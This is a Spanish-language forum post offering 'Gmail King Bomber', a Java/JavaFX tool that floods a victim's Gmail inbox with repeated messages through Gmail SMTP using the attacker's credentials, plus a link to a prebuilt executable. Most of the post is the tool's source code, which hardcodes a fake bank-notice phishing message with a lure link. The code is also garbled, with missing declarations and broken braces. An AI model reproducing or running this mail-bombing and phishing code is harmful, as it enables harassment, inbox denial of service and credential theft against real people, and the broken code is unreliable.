Les dejo una sencilla aplicación para spamear cuentas de correo. El code es sencillo, un Thread hace la tarea y captura las excepciones mostrando un cuadro de diálogo. Los botones y demás controles se desactivan mientras esté operativa la tarea (envío de emails). El botón borrar, como su nombre lo dice borra todos los campos a excepción del email y password atacante.
Imagen en funcionamiento:
Versión 1.0. Con un código más sencillo, sin tantos catch múltiples y ahora el trabajo por medio de un thread.
Código
import java.util.Date; import java.util.Properties; // Librerias JavaFX import javafx.application.Application; import javafx.beans.value.ChangeListener; import javafx.beans.value.ObservableValue; import javafx.event.ActionEvent; import javafx.event.EventHandler; import javafx.scene.Group; import javafx.scene.Scene; import javafx.scene.control.Button; import javafx.scene.control.Label; import javafx.scene.control.PasswordField; import javafx.scene.control.TextArea; import javafx.scene.control.TextField; import javafx.scene.image.Image; import javafx.scene.image.ImageView; import javafx.scene.paint.Color; import javafx.stage.Stage; // librerias JavaMail import javax.mail.Message; import javax.mail.Session; import javax.mail.Transport; import javax.mail.internet.InternetAddress; import javax.mail.internet.MimeMessage; import javax.swing.JOptionPane; public class GmailKingBomber extends Application { Label lblEmail,lblAsunto,lblMensaje,cantMensajes,lblActividad,lblEmailSender,lblPassSender; Button btnOk,btnBorrar; TextField txtEmail,txtAsunto,txtcantMensajes,txtEmailSender; PasswordField txtPassSender; TextArea txrMensaje,txrActividad; public void start(Stage stage){ Scene escena = new Scene(root,550,420); // se lo asigna a la escena y configura sizes lblEmail.setLayoutX(8); lblEmail.setLayoutY(8); txtEmail.setFocusTraversable(true); txtEmail.setPrefSize(150,25); txtEmail.setLayoutX(20); txtEmail.setLayoutY(28); // asunto lblAsunto.setLayoutX(8); lblAsunto.setLayoutY(55); txtAsunto.setFocusTraversable(true); txtAsunto.setPrefSize(150,25); txtAsunto.setLayoutX(20); txtAsunto.setLayoutY(75); // mensaje lblMensaje.setLayoutX(8); lblMensaje.setLayoutY(101); txrMensaje.setFocusTraversable(true); txrMensaje.setPrefSize(150,80); txrMensaje.setLayoutX(20); txrMensaje.setLayoutY(126); // cantidad de mensajes cantMensajes.setLayoutX(8); cantMensajes.setLayoutY(211); txtcantMensajes.setFocusTraversable(true); txtcantMensajes.setPrefSize(80,25); txtcantMensajes.setLayoutX(20); txtcantMensajes.setLayoutY(234); // email atacador lblEmailSender.setLayoutX(8); lblEmailSender.setLayoutY(266); // txt email atacador txtEmailSender.setFocusTraversable(true); txtEmailSender.setLayoutX(20); txtEmailSender.setLayoutY(285); // pass del atacador lblPassSender.setLayoutX(8); lblPassSender.setLayoutY(310); //ptxt pass del atacador txtPassSender = new PasswordField(); txtPassSender.setFocusTraversable(true); txtPassSender.setLayoutX(20); txtPassSender.setLayoutY(329); // si se empieza a escribir la contrasena se activa el boton txtPassSender.textProperty().addListener(new ChangeListener<String>() { @Override public void changed(ObservableValue<? extends String> observable, btnOk.setDisable(false); } }); // boom btnOk.setFocusTraversable(true); btnOk.setDisable(true); btnOk.setLayoutX(20); btnOk.setLayoutY(385); btnOk.setPrefSize(100,25); // evento del boton btnOk.setOnAction(new EventHandler<ActionEvent>() { Boom boom = new Boom(); boom.start(); // inicia la tarea } }); // boton borrar btnBorrar.setLayoutX(126); btnBorrar.setLayoutY(385); btnBorrar.setPrefSize(100,25); btnBorrar.setOnAction(new EventHandler<ActionEvent>() { // borra todos los cambos y pone el focus en el email victima txtEmail.setText(null); txtAsunto.setText(null); txrMensaje.setText(null); txtcantMensajes.setText(null); txrActividad.setText(""); txtEmail.requestFocus(); } }); // textarea lblActividad.setLayoutX(250); lblActividad.setLayoutY(8); txrActividad.setPrefSize(300,390); txrActividad.setLayoutX(250); txrActividad.setLayoutY(30); txrActividad.setEditable(false); // el textarea no es editable // imagen para el fondo ImageView imagen = new ImageView(); imagen.setImage(ima); // imagen para el icono de la ventana // agrega todos los componentes al panel root.getChildren().addAll(imagen,lblEmail,btnOk,btnBorrar,txtEmail,lblAsunto,txtAsunto,lblMensaje,txrMensaje,cantMensajes,txtcantMensajes,lblEmailSender,txtEmailSender,lblPassSender,txtPassSender,lblActividad,txrActividad); stage.setTitle("¡Gmail king bomber! v0.1 - Darkgus"); // titulo del "stage" ( jframe) stage.setScene(escena); // le asigna la escena ( la escena es el panel principal, dentro esta el panel root de tipo Group) stage.setResizable(false); stage.show(); // mostramos la stage } // clase que hace el envío de emails mediante thread private boolean continuar=true; //condicion del thread void detener(){ // metodo para detener el thread continuar = false; } void inhabilitar() { // inhabilita los controles btnOk.setDisable(true); btnBorrar.setDisable(true); txtEmail.setEditable(false); txtAsunto.setEditable(false); txrMensaje.setEditable(false); txtcantMensajes.setEditable(false); txtEmailSender.setEditable(false); txtPassSender.setEditable(false); } void habilitar() { // habilita los controles btnOk.setDisable(false); btnBorrar.setDisable(false); txtEmail.setEditable(true); txtAsunto.setEditable(true); txrMensaje.setEditable(true); txtcantMensajes.setEditable(true); txtEmailSender.setEditable(true); txtPassSender.setEditable(true); } public void run() { // incia el thread while(continuar) { // hace la tarea mientras continuar sea true try { inhabilitar(); // Propiedades de la conexión props.setProperty("mail.smtp.host", "smtp.gmail.com"); props.setProperty("mail.smtp.starttls.enable", "true"); props.setProperty("mail.smtp.port", "587"); props.setProperty("mail.smtp.user", txtEmailSender.getText()); props.setProperty("mail.smtp.auth", "true"); // Preparamos la sesion Session session = Session.getDefaultInstance(props); // Construimos el mensaje MimeMessage message = new MimeMessage(session); message.setFrom(new InternetAddress("yo@yo.com")); message.addRecipient( Message.RecipientType.TO, new InternetAddress(txtEmail.getText())); message.setSubject("Hola"); message.setText( "Este es un aviso de su banco: clickee aquí: www.terobolacuenta.com"); // Lo enviamos. for(int i=1; i<=cantidad; i++) { Transport t = session.getTransport("smtp"); t.sendMessage(message, message.getAllRecipients()); txrActividad.setText(txrActividad.getText() + "\n" + "Destino: " + txtEmail.getText() + "\n" + "Asunto: " + txtAsunto.getText() + "\n" + "Mensaje: " + txrMensaje.getText()+"\n"+"\n"); // Cierre. t.close(); if(i==cantidad) { detener(); habilitar(); } } // fin for } // fin try detener(); habilitar(); JOptionPane.showMessageDialog(null,"Ha ocurrido un error. Asegúrese que se hayan\nintroducido correctamente los datos","ERROR",JOptionPane.ERROR_MESSAGE); } } // fin while } // fin run } // fin clase launch(args); // lanza la aplicacion } }
Ejecutable: http://www.mediafire.com/?pdqn5cz324brq6b